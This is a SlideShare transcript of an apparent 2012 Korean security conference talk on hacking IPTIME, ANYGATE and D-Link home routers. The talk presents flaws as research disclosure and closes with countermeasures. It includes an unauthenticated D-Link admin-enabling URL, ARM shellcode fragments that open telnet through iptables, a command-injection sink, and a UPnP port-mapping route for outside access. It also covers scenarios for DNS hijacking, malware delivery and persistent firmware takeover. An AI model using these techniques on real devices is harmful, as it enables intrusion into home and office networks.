SlideShare a Scribd company logo
Wireless Router Hacking
홍정우 | B10S |
Hackerschool
SECUINSIDE 2012
• 공유기의 기본개념
• 공유기의 기존 취약점들
• IPTIME 0-Day 취약점
• 공유기 취약점 활용 시나리오
• 공유기의 구성
• uPnP 를 이용한 외부 공격
• 대응 방안 및 향후 연구 계획
CONTENTS
• ANYGATE 0-Day 취약점
공유기의 기본개념
공유기의 기본 개념
무선 네트워크 접근 & 인터넷 공유
A통신사의 명동 지역 내 Wifi
공유기의 기본 개념
A통신사의 논현동 지역 내 Wifi
공유기의 기본 개념
공유기의 기본 개념
잠재적 피해자들
0 20 40 60 80
기타
편의점
호텔
극장
백화점
직영대리점
관공서
베이커리
패스트푸드
학교
실외
커피전문점
직장
자택
무선랜 이용 장소
공유기의 기본 개념
공유기의 구성
펌웨어
하드웨어
공유기의 구성
커널, 파일시스템
공유기의 구성 ( 하드웨어 )
공유기의 구성 ( 하드웨어 )
공유기의 구성 ( 하드웨어 )
네트워크 컨트롤러 마이크로 컨트롤러
DRAM
안테나 , 전원
WAN 인터페이스 LAN 인터페이스
FLASH 메모리
공유기의 구성 ( 펌웨어 )
펌웨어
커널, 파일시스템
• Kernel : 2.4.19
• Filesystem : cramfs , squashfs , ext2
• Linux Command , Directory , busybox , cgi , config….
공유기의 기존 취약점들
공유기 기존 취약점들
1) IPTIME 공유기 백도어
2) Belkin 디폴트 패스워드
4) Linksys stack overflow
3) Dlink 인증 없는 설정
공유기 기존 취약점들
1) IPTIME 공유기 백도어
• 2007년도에 ISSUE가 됐었음
(http://kldp.org/node/83510)
• 내부 명령 실행 , 파일 열람 모두 가능
• 디버깅과 개발 시 편의성을 위해 만들어진 페이지
공유기 기존 취약점들
2) Belkin 디폴트 패스워드
공유기 기존 취약점들
3) Dlink 인증 없는 설정
http://192.168.0.1/apply.cgi?
admin_password=pwdpwd&
admin_password1=pwdpwd&
admPass2=pwdpwd&
remote_enable=1&
remote_http_management_enable=1&
remote_http_management_port=8080&
remote_inbound_filter=Allow_All&
remote_http_management_inbound_filter=Allow_All
• 관리자에 대한 인증절차가 없이 모든 인자 값이 정상 처리된다.
공유기 기존 취약점들
4) Linksys stack overflow
• 경계 값 체크 없이 프로그래밍
IPTIME 0-Day 취약점
IPTIME 0-Day 취약점
악의적인 사용자 TARGET
TARGET과 동일한 공유기
공격
잠재적 피해자들
취약점 발견모의 공격
①②
③
④
① 취약점 발견
악의적인 사용자
TARGET과 동일한 공유기
모의 공격 취약점 발견
펌웨어가 취약 할 것이다.
펌웨어 획득 방법
1. 공식 홈페이지에서 최신펌웨어 다운로드
2. MCU의 JTAG 포트를 이용한 DUMP
3. Flash 메모리 분리 후 DUMP
IPTIME 0-Day 취약점
IPTIME 0-Day 취약점
펌웨어 확보 방법 (1) : 공식 홈페이지에서 최신 펌웨어 다운로드
IPTIME 0-Day 취약점
펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결 후 DUMP
JTAG PINOUT
IPTIME 신규 취약점
펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결
JTAG 전용 장비 필요
http://devicemart.co.kr/goods/view.php?seq=15635
IPTIME 신규 취약점
펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP
Flash memory
IPTIME 0-Day 취약점
펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP
공개 Flash dump 도구 이용
http://github.com/cyphunk/ParallelFLASHDumper
IPTIME 0-Day 취약점
파일시스템 추출
[root@codeache rootfs]# ls -al
total 132
drwxr-xr-x 15 root root 4096 Sep 20 2011 .
drwxr-xr-x 5 root root 4096 Nov 11 2011 ..
drwxr-xr-x 3 root root 4096 Jun 7 00:38 bin
drwxr-xr-x 6 root root 4096 Sep 20 2011 default
drwxr-xr-x 2 root root 4096 Sep 20 2011 dev
lrwxrwxrwx 1 root root 8 Nov 11 2011 etc -> /tmp/etc
drwxr-xr-x 3 root root 4096 Sep 20 2011 home
drwxr-xr-x 3 root root 4096 Sep 20 2011 lib
lrwxrwxrwx 1 root root 11 Nov 11 2011 linuxrc -> bin/busybox
drwxr-xr-x 2 root root 4096 Sep 20 2011 ndbin
drwxr-xr-x 2 root root 4096 Sep 20 2011 plugin
drwxr-xr-x 2 root root 4096 Sep 20 2011 proc
drwxr-xr-x 2 root root 4096 Sep 20 2011 save
drwxr-xr-x 2 root root 4096 Sep 20 2011 sbin
drwxr-xr-x 2 root root 4096 Sep 20 2011 tmp
drwxr-xr-x 2 root root 4096 Sep 20 2011 upgrade-bin
drwxr-xr-x 5 root root 4096 Sep 20 2011 usr
lrwxrwxrwx 1 root root 8 Nov 11 2011 var -> /tmp/var
[root@codeache rootfs]#
펌웨어 추출 도구 : http://code.google.com/p/firmware-mod-kit/
① 취약점 발견
① 취약점 발견
/cgi-bin/timepro.cgi가 로드된다.
IPTIME 0-Day 취약점
악의적인 사용자
TARGET과 동일한 공유기
모의 공격 취약점 발견
분석 가능① 취약점 발견
IPTIME 0-Day 취약점
① 취약점 발견
DEMO
IPTIME 0-Day 취약점
① 취약점 발견 – 버퍼 오버플로우
aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa
BEFORE STRCPY()
AFTER STRCPY()
Buffer
R11 SP PC
IPTIME 0-Day 취약점
Stack Memory
LDMFD SP, {R11 ,
SP , PC}
① 취약점 발견 – 버퍼 오버플로우
Aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa
Buffer R11 SP PC
PC 레지스터 : 다음 실행할 명령어의 위치
프로그램 흐름을 원하는 곳으로 이동시킬 수 있다.
GOOD!!!
IPTIME 0-Day 취약점
① 취약점 발견 – 버퍼 오버플로우
aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa
Buffer R11 SP PC
utelnetd 구동 , iptables 에서 telnet 허용 쉘코드
쉘코드를 어디에 올릴 것인가?
User-Agent :
CGI 는 환경변수에 HTTP 데이터를 저장한다.
IPTIME 0-Day 취약점
① 취약점 발견 – 버퍼 오버플로우
IPTIME 0-Day 취약점
add r1, pc, #96
add r2, pc, #107
add r3, pc, #106
add r4, pc, #108
add r5, pc, #107
add r6, pc, #107
add r7, pc, #111
add r8, pc, #110
add r9, pc, #109
.ascii "/sbin/iptablesF"
.ascii "-AF"
.ascii "INPUTF"
.ascii "-pF"
.ascii "tcpF"
.ascii "--dportF"
.ascii "23F"
.ascii "-jF"
.ascii "ACCEPTF"
① 취약점 발견 – 버퍼 오버플로우
IPTIME 0-Day 취약점
stmfd sp!, {r1-r9 ,lr}
mov r0, r1 , lsl lr
mov r1, sp
mov r2, lr
swi 0x90ff0b
add r8, pc , #12
strb lr, [r8 , #1]
Swi 0x90000b
Execve 첫번 째 인자
Execve 두번 째 인자
execve(“/sbin/iptables”,”/sbin/iptables”,”-A”,”INPUT”…. , NULL)
Execve 세번 째 인자
② 모의 공격
• 취약점 발견과 공격코드 구상
• 공유기 시스템 내부 쉘이 있으면 동적 디버깅 가능
• 공격에 필요한 각종 테스트를 해야 함
gdb , strace , busybox 등 크로스 컴파일 해서 업로드
• 공격코드 완성 , 테스트
IPTIME 0-Day 취약점
② 모의 공격
DEMO
IPTIME 0-Day 취약점
③ 공격
악의적인 사용자
TARGET
잠재적 피해자들
인터넷
공유기 패스워드
물리적으로 근접
공격
공격에 필요한 조건
IPTIME 0-Day 취약점
③ 공격
TARGET
잠재적 피해자들
인터넷
공격
악의적인 사용자
공격에 필요한 조건
공유기의 아이피
IPTIME 0-Day 취약점
③ 공격 - uPnP
IPTIME 0-Day 취약점
• 홈네트워크에서의 기기 간 인식, 통신 프로토콜
③ 공격 - uPnP
IPTIME 0-Day 취약점
공유기에 포트매핑 요청
XML 형태로 통신
③ 공격 - uPnP
IPTIME 0-Day 취약점
외부 uPnP 요청 허용
외부에서 원하는 포트로 접근가능 ( 80, 23)
③ 공격 - uPnP
IPTIME 0-Day 취약점
# telnet 공유기IP uPnP_Port
③ 공격 - uPnP
TARGET
잠재적 피해자들
인터넷
80 포트 uPnP 요청
악의적인 사용자
23 포트 uPnP 요청취약점 공격공유기 텔넷접속 가능
IPTIME 0-Day 취약점
③ 공격 – Remote Attack
DEMO
IPTIME 0-Day 취약점
ANYGATE 0-Day 취약점
ANYGATE 0-Day 취약점
악의적인 사용자 TARGET
TARGET과 동일한 공유기
공격
잠재적 피해자들
취약점 발견모의 공격
①②
③
④
IPTIME 때와 동일
① 취약점 발견
악의적인 사용자
TARGET과 동일한 공유기
모의 공격 취약점 발견
펌웨어가 취약 할 것이다.
펌웨어 획득 방법
1. 공식 홈페이지에서 최신펌웨어 다운로드
2. MCU의 JTAG 포트를 이용한 DUMP
3. Flash 메모리 분리 후 DUMP
ANYGATE 0-Day 취약점
ANYGATE 0-Day 취약점
1) 디버깅용 페이지 존재
• 인증절차 없이 내부 명령 실행 가능
• iptables , ifconfig , ping 만 지원
ANYGATE 0-Day 취약점
1) 디버깅용 페이지 존재
• 인증절차 없이 내부 명령 실행 가능
• iptables , ifconfig , ping 만 지원
ANYGATE 0-Day 취약점
2) 특정 설정 페이지 내부 명령 실행 가능 취약점
sprintf(&src,
"-S gnudip -u %s:%s -h %s -s %s -r 10&",
dword_3AC8D + 34052,
dword_3AC8D + 34072,
dword_3AC8D + 34092,);
strcat(&szCMD, &src);
sub_14CAC("%sn", &szCMD);
system(&szCMD);
임의의 명령을 삽입하는 것이 가능
ANYGATE 0-Day 취약점
3) 버퍼오버플로우 취약점
취약점 악용 시나리오
공유기 취약점 악용 시나리오
1) Packet Sniffing & Spoofing(악성코드 유포)
www.good.site/music/song.mp3
www.attacker.com/malware.exe
2) 피싱 (DNS Hijacking)
www.hanabank.com
www.phising.com
ID , PW 입력
공유기 취약점 악용 시나리오
3) 사내 보안 문제
사장
과장
대리
개발팀
영업팀
인사팀
사내 인트라넷
공유기 취약점 악용 시나리오
사원
4) 경유지 (VPN, Port Fowarding)
공격 대상
사이트
공유기 취약점 악용 시나리오
추적이 어려워짐
5) DDOS
공유기 취약점 악용 시나리오
5) DDOS
공격 대상 사이트
공유기 취약점 악용 시나리오
공유기 취약점 악용 시나리오
6) 영구 장악
공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화
다시 공격해야 함.
1. 재부팅 리셋
해커가 펌웨어의 Init script 들을 수정하여 telnet , 포트매핑 등을
부팅 시에 자동으로 수행하게끔 펌웨어 리빌드
관리자 페이지에 접근이 가능하므로, 조작된 펌웨어를 수동업데이트
공유기 취약점 악용 시나리오
6) 영구 장악
공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화
다시 공격해야 함.
웹인터페이스의 업데이트 페이지를 수정하여
실제로 업데이트는 일어나지 않도록 조작
2. 펌웨어 업데이트 - 수동업데이트
공유기 취약점 악용 시나리오
6) 영구 장악
2. 펌웨어 업데이트 - 자동업데이트
업데이트 시도
공식사이트 펌웨어 업데이트 서버
해커가 조작한 펌웨어 업데이트 서버
공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화
다시 공격해야 함.
대응 방안 및 향후 연구 계획
• 펌웨어 개발 시, 보안 프로그래밍
strcpy , sprintf , system 등과 같은 함수들은 주의해서 사용한다.
또한 설정 상 보안에 문제가 될 수 있는 부분들을 제거한다.
• 사용자의 공유기에 대한 보안 의식 강화
ex> uPnP 서비스 강제 중단
• uPnP 의 외부 연결 차단 , 공유기 자체인 localhost로의 포워딩 차단
1. 대응 방안
2. 향후 연구 계획
• 공유기가 TCP/IP , UDP 등 Low Level 프로토콜을 처리하면서 발생할
수 있는 취약점 연구
• 커스터마이징된 기능들에서 발생하는 취약점
게임기 지원 , VPN , QOS 등..
Question?
감사합니다.

More Related Content

Viewers also liked

파바 씨엡
파바 씨엡파바 씨엡
파바 씨엡Young Ok Joeng
 
2015 SW마에스트로 100+ 컨퍼런스_Hacking IoT
2015 SW마에스트로 100+ 컨퍼런스_Hacking IoT2015 SW마에스트로 100+ 컨퍼런스_Hacking IoT
2015 SW마에스트로 100+ 컨퍼런스_Hacking IoT
2015 SW마에스트로 100+ 컨퍼런스
 
협의회신년총회
협의회신년총회협의회신년총회
협의회신년총회CHOYOONHEE
 
신입원아모집요강
신입원아모집요강신입원아모집요강
신입원아모집요강
meangkim
 
어린이집 이용 아동과 평가인증 어린이집 인포그래픽
어린이집 이용 아동과 평가인증 어린이집 인포그래픽어린이집 이용 아동과 평가인증 어린이집 인포그래픽
어린이집 이용 아동과 평가인증 어린이집 인포그래픽
yunsunchoi37
 
(FICON2015) #2 어떻게 조사할 것인가?
(FICON2015) #2 어떻게 조사할 것인가?(FICON2015) #2 어떻게 조사할 것인가?
(FICON2015) #2 어떻게 조사할 것인가?
plainbit
 
드림 윅스
드림 윅스드림 윅스
드림 윅스추원수
 
뉴스젤리 메이킹스토리 '치킨전문점'
뉴스젤리 메이킹스토리 '치킨전문점'뉴스젤리 메이킹스토리 '치킨전문점'
뉴스젤리 메이킹스토리 '치킨전문점'
Newsjelly
 
Hacking IoT
Hacking IoTHacking IoT
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
GangSeok Lee
 
IoT Security: Problems, Challenges and Solutions
IoT Security: Problems, Challenges and SolutionsIoT Security: Problems, Challenges and Solutions
IoT Security: Problems, Challenges and Solutions
Liwei Ren任力偉
 
인터렉티브 김지혜20131022
인터렉티브 김지혜20131022인터렉티브 김지혜20131022
인터렉티브 김지혜20131022jihaeariana
 
[메조미디어] 2015 상반기 업종분석 자료 - 화장품
[메조미디어] 2015 상반기 업종분석 자료 - 화장품[메조미디어] 2015 상반기 업종분석 자료 - 화장품
[메조미디어] 2015 상반기 업종분석 자료 - 화장품
MezzoMedia
 

Viewers also liked (13)

파바 씨엡
파바 씨엡파바 씨엡
파바 씨엡
 
2015 SW마에스트로 100+ 컨퍼런스_Hacking IoT
2015 SW마에스트로 100+ 컨퍼런스_Hacking IoT2015 SW마에스트로 100+ 컨퍼런스_Hacking IoT
2015 SW마에스트로 100+ 컨퍼런스_Hacking IoT
 
협의회신년총회
협의회신년총회협의회신년총회
협의회신년총회
 
신입원아모집요강
신입원아모집요강신입원아모집요강
신입원아모집요강
 
어린이집 이용 아동과 평가인증 어린이집 인포그래픽
어린이집 이용 아동과 평가인증 어린이집 인포그래픽어린이집 이용 아동과 평가인증 어린이집 인포그래픽
어린이집 이용 아동과 평가인증 어린이집 인포그래픽
 
(FICON2015) #2 어떻게 조사할 것인가?
(FICON2015) #2 어떻게 조사할 것인가?(FICON2015) #2 어떻게 조사할 것인가?
(FICON2015) #2 어떻게 조사할 것인가?
 
드림 윅스
드림 윅스드림 윅스
드림 윅스
 
뉴스젤리 메이킹스토리 '치킨전문점'
뉴스젤리 메이킹스토리 '치킨전문점'뉴스젤리 메이킹스토리 '치킨전문점'
뉴스젤리 메이킹스토리 '치킨전문점'
 
Hacking IoT
Hacking IoTHacking IoT
Hacking IoT
 
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
[2014 CodeEngn Conference 11] 박한범 - 가상화 기술과 보안
 
IoT Security: Problems, Challenges and Solutions
IoT Security: Problems, Challenges and SolutionsIoT Security: Problems, Challenges and Solutions
IoT Security: Problems, Challenges and Solutions
 
인터렉티브 김지혜20131022
인터렉티브 김지혜20131022인터렉티브 김지혜20131022
인터렉티브 김지혜20131022
 
[메조미디어] 2015 상반기 업종분석 자료 - 화장품
[메조미디어] 2015 상반기 업종분석 자료 - 화장품[메조미디어] 2015 상반기 업종분석 자료 - 화장품
[메조미디어] 2015 상반기 업종분석 자료 - 화장품
 

Similar to codeache

[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
GangSeok Lee
 
보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법
Youngjun Chang
 
보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법
Youngjun Chang
 
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
GangSeok Lee
 
지능형지속위협공격 최신동향 분석
지능형지속위협공격 최신동향 분석지능형지속위협공격 최신동향 분석
지능형지속위협공격 최신동향 분석
한익 주
 
GOTHAM 오픈소스 메쉬 네트워킹 소프트웨어 패키지
GOTHAM 오픈소스 메쉬 네트워킹 소프트웨어 패키지GOTHAM 오픈소스 메쉬 네트워킹 소프트웨어 패키지
GOTHAM 오픈소스 메쉬 네트워킹 소프트웨어 패키지
Kyunghee Univ
 
Drive-By Download & JavaScript Obfuscation
Drive-By Download & JavaScript ObfuscationDrive-By Download & JavaScript Obfuscation
Drive-By Download & JavaScript Obfuscation
Jason Choi
 
안드로이드 플랫폼 설명
안드로이드 플랫폼 설명안드로이드 플랫폼 설명
안드로이드 플랫폼 설명
Peter YoungSik Yun
 
Hideroot - Inc0gnito 2016
Hideroot - Inc0gnito 2016Hideroot - Inc0gnito 2016
Hideroot - Inc0gnito 2016
perillamint
 
제3회 오픈 로보틱스 세미나 1일차 1세션 안드로이드 App 통신
제3회 오픈 로보틱스 세미나 1일차 1세션 안드로이드 App 통신제3회 오픈 로보틱스 세미나 1일차 1세션 안드로이드 App 통신
제3회 오픈 로보틱스 세미나 1일차 1세션 안드로이드 App 통신
WooSangHwang
 
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
INSIGHT FORENSIC
 
(Fios#02) 4. 임베디드 다바이스 역분석
(Fios#02) 4. 임베디드 다바이스 역분석(Fios#02) 4. 임베디드 다바이스 역분석
(Fios#02) 4. 임베디드 다바이스 역분석
INSIGHT FORENSIC
 
보안 위협 형태와 악성코드 분석 기법
보안 위협 형태와 악성코드 분석 기법보안 위협 형태와 악성코드 분석 기법
보안 위협 형태와 악성코드 분석 기법
Youngjun Chang
 
(130511) #fitalk utilization of ioc, ioaf and sig base
(130511) #fitalk   utilization of ioc, ioaf and sig base(130511) #fitalk   utilization of ioc, ioaf and sig base
(130511) #fitalk utilization of ioc, ioaf and sig base
INSIGHT FORENSIC
 
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
James (SeokHun) Hwang
 
망고100 보드로 놀아보자 9
망고100 보드로 놀아보자 9망고100 보드로 놀아보자 9
망고100 보드로 놀아보자 9종인 전
 
[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to Win
[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to Win[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to Win
[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to Win
GangSeok Lee
 
초보 개발자/학생들을 위한 오픈소스 트랜드
초보 개발자/학생들을 위한 오픈소스 트랜드 초보 개발자/학생들을 위한 오픈소스 트랜드
초보 개발자/학생들을 위한 오픈소스 트랜드
YoungSu Son
 
kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340Samsung Electronics
 
Introduce Product
Introduce ProductIntroduce Product
Introduce ProductAnnie Hwang
 

Similar to codeache (20)

[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
 
보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법
 
보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법
 
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
 
지능형지속위협공격 최신동향 분석
지능형지속위협공격 최신동향 분석지능형지속위협공격 최신동향 분석
지능형지속위협공격 최신동향 분석
 
GOTHAM 오픈소스 메쉬 네트워킹 소프트웨어 패키지
GOTHAM 오픈소스 메쉬 네트워킹 소프트웨어 패키지GOTHAM 오픈소스 메쉬 네트워킹 소프트웨어 패키지
GOTHAM 오픈소스 메쉬 네트워킹 소프트웨어 패키지
 
Drive-By Download & JavaScript Obfuscation
Drive-By Download & JavaScript ObfuscationDrive-By Download & JavaScript Obfuscation
Drive-By Download & JavaScript Obfuscation
 
안드로이드 플랫폼 설명
안드로이드 플랫폼 설명안드로이드 플랫폼 설명
안드로이드 플랫폼 설명
 
Hideroot - Inc0gnito 2016
Hideroot - Inc0gnito 2016Hideroot - Inc0gnito 2016
Hideroot - Inc0gnito 2016
 
제3회 오픈 로보틱스 세미나 1일차 1세션 안드로이드 App 통신
제3회 오픈 로보틱스 세미나 1일차 1세션 안드로이드 App 통신제3회 오픈 로보틱스 세미나 1일차 1세션 안드로이드 App 통신
제3회 오픈 로보틱스 세미나 1일차 1세션 안드로이드 App 통신
 
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
 
(Fios#02) 4. 임베디드 다바이스 역분석
(Fios#02) 4. 임베디드 다바이스 역분석(Fios#02) 4. 임베디드 다바이스 역분석
(Fios#02) 4. 임베디드 다바이스 역분석
 
보안 위협 형태와 악성코드 분석 기법
보안 위협 형태와 악성코드 분석 기법보안 위협 형태와 악성코드 분석 기법
보안 위협 형태와 악성코드 분석 기법
 
(130511) #fitalk utilization of ioc, ioaf and sig base
(130511) #fitalk   utilization of ioc, ioaf and sig base(130511) #fitalk   utilization of ioc, ioaf and sig base
(130511) #fitalk utilization of ioc, ioaf and sig base
 
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
[무료] 시스템해킹(해커스쿨문제풀이) 공개버전
 
망고100 보드로 놀아보자 9
망고100 보드로 놀아보자 9망고100 보드로 놀아보자 9
망고100 보드로 놀아보자 9
 
[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to Win
[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to Win[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to Win
[2011 CodeEngn Conference 05] 쿨캣 - virse program messge DOS to Win
 
초보 개발자/학생들을 위한 오픈소스 트랜드
초보 개발자/학생들을 위한 오픈소스 트랜드 초보 개발자/학생들을 위한 오픈소스 트랜드
초보 개발자/학생들을 위한 오픈소스 트랜드
 
kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340
 
Introduce Product
Introduce ProductIntroduce Product
Introduce Product
 

codeache

  • 1. Wireless Router Hacking 홍정우 | B10S | Hackerschool SECUINSIDE 2012
  • 2. • 공유기의 기본개념 • 공유기의 기존 취약점들 • IPTIME 0-Day 취약점 • 공유기 취약점 활용 시나리오 • 공유기의 구성 • uPnP 를 이용한 외부 공격 • 대응 방안 및 향후 연구 계획 CONTENTS • ANYGATE 0-Day 취약점
  • 4. 공유기의 기본 개념 무선 네트워크 접근 & 인터넷 공유
  • 5. A통신사의 명동 지역 내 Wifi 공유기의 기본 개념
  • 6. A통신사의 논현동 지역 내 Wifi 공유기의 기본 개념
  • 8. 0 20 40 60 80 기타 편의점 호텔 극장 백화점 직영대리점 관공서 베이커리 패스트푸드 학교 실외 커피전문점 직장 자택 무선랜 이용 장소 공유기의 기본 개념
  • 11. 공유기의 구성 ( 하드웨어 )
  • 12. 공유기의 구성 ( 하드웨어 )
  • 13. 공유기의 구성 ( 하드웨어 ) 네트워크 컨트롤러 마이크로 컨트롤러 DRAM 안테나 , 전원 WAN 인터페이스 LAN 인터페이스 FLASH 메모리
  • 14. 공유기의 구성 ( 펌웨어 ) 펌웨어 커널, 파일시스템 • Kernel : 2.4.19 • Filesystem : cramfs , squashfs , ext2 • Linux Command , Directory , busybox , cgi , config….
  • 16. 공유기 기존 취약점들 1) IPTIME 공유기 백도어 2) Belkin 디폴트 패스워드 4) Linksys stack overflow 3) Dlink 인증 없는 설정
  • 17. 공유기 기존 취약점들 1) IPTIME 공유기 백도어 • 2007년도에 ISSUE가 됐었음 (http://kldp.org/node/83510) • 내부 명령 실행 , 파일 열람 모두 가능 • 디버깅과 개발 시 편의성을 위해 만들어진 페이지
  • 18. 공유기 기존 취약점들 2) Belkin 디폴트 패스워드
  • 19. 공유기 기존 취약점들 3) Dlink 인증 없는 설정 http://192.168.0.1/apply.cgi? admin_password=pwdpwd& admin_password1=pwdpwd& admPass2=pwdpwd& remote_enable=1& remote_http_management_enable=1& remote_http_management_port=8080& remote_inbound_filter=Allow_All& remote_http_management_inbound_filter=Allow_All • 관리자에 대한 인증절차가 없이 모든 인자 값이 정상 처리된다.
  • 20. 공유기 기존 취약점들 4) Linksys stack overflow • 경계 값 체크 없이 프로그래밍
  • 22. IPTIME 0-Day 취약점 악의적인 사용자 TARGET TARGET과 동일한 공유기 공격 잠재적 피해자들 취약점 발견모의 공격 ①② ③ ④
  • 23. ① 취약점 발견 악의적인 사용자 TARGET과 동일한 공유기 모의 공격 취약점 발견 펌웨어가 취약 할 것이다. 펌웨어 획득 방법 1. 공식 홈페이지에서 최신펌웨어 다운로드 2. MCU의 JTAG 포트를 이용한 DUMP 3. Flash 메모리 분리 후 DUMP IPTIME 0-Day 취약점
  • 24. IPTIME 0-Day 취약점 펌웨어 확보 방법 (1) : 공식 홈페이지에서 최신 펌웨어 다운로드
  • 25. IPTIME 0-Day 취약점 펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결 후 DUMP JTAG PINOUT
  • 26. IPTIME 신규 취약점 펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결 JTAG 전용 장비 필요 http://devicemart.co.kr/goods/view.php?seq=15635
  • 27. IPTIME 신규 취약점 펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP Flash memory
  • 28. IPTIME 0-Day 취약점 펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP 공개 Flash dump 도구 이용 http://github.com/cyphunk/ParallelFLASHDumper
  • 29. IPTIME 0-Day 취약점 파일시스템 추출 [root@codeache rootfs]# ls -al total 132 drwxr-xr-x 15 root root 4096 Sep 20 2011 . drwxr-xr-x 5 root root 4096 Nov 11 2011 .. drwxr-xr-x 3 root root 4096 Jun 7 00:38 bin drwxr-xr-x 6 root root 4096 Sep 20 2011 default drwxr-xr-x 2 root root 4096 Sep 20 2011 dev lrwxrwxrwx 1 root root 8 Nov 11 2011 etc -> /tmp/etc drwxr-xr-x 3 root root 4096 Sep 20 2011 home drwxr-xr-x 3 root root 4096 Sep 20 2011 lib lrwxrwxrwx 1 root root 11 Nov 11 2011 linuxrc -> bin/busybox drwxr-xr-x 2 root root 4096 Sep 20 2011 ndbin drwxr-xr-x 2 root root 4096 Sep 20 2011 plugin drwxr-xr-x 2 root root 4096 Sep 20 2011 proc drwxr-xr-x 2 root root 4096 Sep 20 2011 save drwxr-xr-x 2 root root 4096 Sep 20 2011 sbin drwxr-xr-x 2 root root 4096 Sep 20 2011 tmp drwxr-xr-x 2 root root 4096 Sep 20 2011 upgrade-bin drwxr-xr-x 5 root root 4096 Sep 20 2011 usr lrwxrwxrwx 1 root root 8 Nov 11 2011 var -> /tmp/var [root@codeache rootfs]# 펌웨어 추출 도구 : http://code.google.com/p/firmware-mod-kit/ ① 취약점 발견
  • 30. ① 취약점 발견 /cgi-bin/timepro.cgi가 로드된다. IPTIME 0-Day 취약점
  • 31. 악의적인 사용자 TARGET과 동일한 공유기 모의 공격 취약점 발견 분석 가능① 취약점 발견 IPTIME 0-Day 취약점
  • 33. ① 취약점 발견 – 버퍼 오버플로우 aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa BEFORE STRCPY() AFTER STRCPY() Buffer R11 SP PC IPTIME 0-Day 취약점 Stack Memory LDMFD SP, {R11 , SP , PC}
